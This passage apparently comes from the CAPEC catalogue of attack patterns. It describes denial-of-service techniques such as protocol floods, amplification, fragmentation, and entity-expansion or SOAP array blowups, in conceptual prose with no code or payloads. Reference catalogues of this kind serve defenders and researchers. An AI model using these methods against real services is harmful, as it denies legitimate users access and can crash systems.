An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.